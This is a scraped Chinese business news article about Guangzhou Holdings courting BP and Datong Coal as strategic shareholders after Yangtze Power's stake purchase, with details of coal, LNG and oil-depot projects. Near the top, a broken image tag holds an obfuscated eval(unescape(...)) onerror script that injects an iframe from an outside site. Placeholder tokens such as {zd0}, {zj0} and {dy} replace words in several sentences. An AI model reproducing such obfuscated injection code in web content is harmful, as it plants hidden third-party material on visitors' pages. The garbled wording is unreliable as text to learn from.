广控再谋联姻能源巨头 BP、大同进入视野

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

"BP及另外一家外资能源巨头正在跟广州控股(600098.SH)大股东谈受让部分股权一事。"一位业内人士向本报透露。

      "对于广州控股来说,未来{zd0}的前景无疑是在油品业务上,选择国际能源巨头作为其战略合作伙伴将是{zj0}选择。"上述人士称。

      对于大股东在引入长江电力后正继续引入新的战略投资者,广州控股并不否认,但对具体的接洽和谈判情况则仍是三缄其口,"的确是在谈,但目前还没有达成任何协议,引入长江电力,我们是与其在项目和资本层面上进行合作,而引入新的合作伙伴,必须要对广州控股的业务有所支持,这是方向。"1月30日,广州控股行政总裁吴旭对本报表示。

      事实上,在此之前,广州控股与BP的深度合作早已展开。本报记者近日了解到,广州控股与BP的合资公司广州发展碧辟油品有限公司已于近期获得从事燃料油的批发和进口业务许可,成为广东省第三家具备此项资格的公司。

      全力打造综合能源供应商

      近期广州控股可谓动作频频。

      2006年10月9日,长江电力分别与广州控股第二大股东广州发展实业有限公司及{dy}大股东广州发展集团有限公司签署协议,由长江电力收购广州发展实业所持广州控股11.189%股权,收购总价款为10.598亿元。收购完成后,长江电力持有广州控股11.189%股权,成为第二大股东。

      "引入长江电力,广州控股主要是与其在资本以及项目上进行合作,长江电力的水电项目以及广州控股的火电项目,双方可以互相参股。"吴旭说,今后双方的合作将陆续展开。

      据记者了解,在项目方面,长电将会参与到广州控股在广东将上马的火电、新能源项目中,而长江电力正在三峡、金沙江溪洛渡、向家坝上马的一些工程,广州控股也有可能会参与;在销售方面,由于水电和火电都有季节影响,双方可以寻求互补;而在技术和人员上双方也正在探讨一些合作。

      "如果说与长江电力的战略合作让广州控股在发电业务上吃到了'定心丸',但这个'定心丸'还是远远不够的,因为对于广州控股来说,未来的目标不仅仅是一个发电企业,而是要做'珠三角大型综合能源供应商',构筑电力、煤炭、油品、燃气四大能源供应业务,打造一个整体产业格局。"一位不愿透露姓名的业内人士分析。

      实际上,广州控股近年来的一系列动作也正是在为其未来扮演综合能源供应商的角色夯实根基。

      2006年11月20日,广州控股全资子公司广州发展基建投资有限公司与越秀交通(1052.HK)全资子公司卓飞有限公司签署出资转让协议,后者以6.662亿元收购前者拥有的广州市北二环高速公路有限公司20%股权,由此,广州控股将xx退出高速公路领域而专注于综合能源业务。

      据广州控股相关公告披露,此次股权转让后,公司净利润将获显著增加。该项目投资成本为1.9亿元,而在转让前的账面值为1.46亿元。因此广州控股将获得4.762亿的收入,而上述收入将主要投入公司能源项目建设。

      2006年12月18日,公司全资子公司广州珠江电力燃料有限公司与大同煤矿集团签订<同发东周窑煤业有限公司合资经营合同>,双方以四六股比合资成立"同发东周窑煤业有限公司",投资新东周窑煤矿项目。

      2006年12月24日,广州控股占股70%的广州珠江LNG联合循环机组发电项目{dy}台容量为390兆瓦的天然气发电机组(#1机组)顺利通过168小时试运行,正式进入商业运行阶段。

      "这些行为很显然地表明,广州控股未来不仅仅是要做一个发电企业,煤炭、油品、燃气也将是其业务重点,但是在我看来,前景{zd0}的还是油品业务。因此,广州控股如果要在长江电力后继续引入战略投资者,肯定会重点考虑能给其油品业务带来支持的伙伴。"国信证券电力分析师徐颖真说。

      而对于广州控股来说,由于其大股东广州发展集团有限公司仍持有66.99%的股权,离其最终只需持有51%的股权控股地位还有接近16%的股权空间,所以将这16%的股权作为筹码,以引入对其业务上有帮助的企业作为战略合作伙伴,确是两全其美之事。

      吴旭并不否认油品将在其未来业务版图上占据极其重要的位置。

      "引入几个对我们业务的管理、技术、市场上有支持的企业,是我们的方向,在长电之后,我们还至少可以再找一家,不排除两家,但我们不会考虑对业务支持作用不大的企业。"吴旭说,这样股权多元化也有利于集团整体上市。

      BP、大同进入视线

      16%的股权,成为广州控股手中"筑巢引凤"的筹码。

      由于与广州控股同为珠三角区域内竞争对手的粤电集团在引入华能成为第二大股东后,开始考虑在上游领域引入神华集团等煤炭供应商作为战略合作伙伴,因此业内不少人士认为与广州控股关系密切的大同煤矿集团很有可能成为其战略合作伙伴。

      而近段时间的一系列动作表明,广州控股与大同煤矿集团的关系的确正在升温。

      2006年12月18日,双方以四六股比合资成立"同发东周窑煤业有限公司"将投资新东周窑煤矿项目,新东周窑煤矿项目可开采储量13.56亿吨,设计年生产原煤1000万吨,为山西省千万吨级大型煤矿之一。

      "这一煤电企业资本合作的模式,将使广州控股电力业务拥有长期、稳定、可靠的煤炭供应渠道,建立起煤炭业务资源供给、运输、中转、营销一体化的业务模式,从而大大提升广州控股的整体竞争力。"广州控股董事长杨丹地表示。

      但是徐颖真认为,大同煤矿集团并不一定是广州控股战略合作伙伴的{zj0}选择。"电力的空间有限,成品油政策放开后,前景会更好。"

      目前,中国油品市场上的两大竞争主体是中石油和中石化,按资源分布各自控制了一部分市场的主导权。而成品油全面放开之后,已进入或即将进入中国市场的外资石油巨头无疑将全面介入该市场。事实上,目前包括BP、壳牌、美孚等外资巨头已在国内润滑油、成品油零售领域占据了不小的市场份额,但是,外资巨头在中国的业务拓展短期内还需要依赖国内的一些合作伙伴,而广州控股手中则握有这样的筹码。

      据了解,广州控股与BP合作运营的南沙36.266万立方米油库、8万吨油品码头,2006年以来利用率已逐步提升。而公司还将实施油库的二期扩建项目,扩建后的库容将达到60万立方米。此外,公司还在谋划与油码头设施实施业务整合。

      更为重要的是,近日,广州发展碧辟油品有限公司已经接到商务部"关于同意广州发展碧辟油品有限公司修改经营范围的批复",同意广州发展碧辟油品有限公司的经营范围增加从事燃料油的批发和进口业务。由此,广州发展碧辟油品有限公司成为了广东省第三家具备此项资格的公司(另外两家为中石油和中石化),成功向燃料油需求高速增长的广州地区拓展业务。

      "国家政策规定,要获得成品油批发资格,必须要有油库、油码头,BP等外资巨头看中广州控股的,主要就是这一点,当然,他们在中国独资的可能性不大,与广州控股这样的国资合作,是比较好的选择;而对广州控股来说,与BP绑在一起,让他们有进入这个市场的机会,尽管目前业绩上可能还难以体现,但是长远来看,是一个利好因素。"国信证券能源分析师陈爱华说。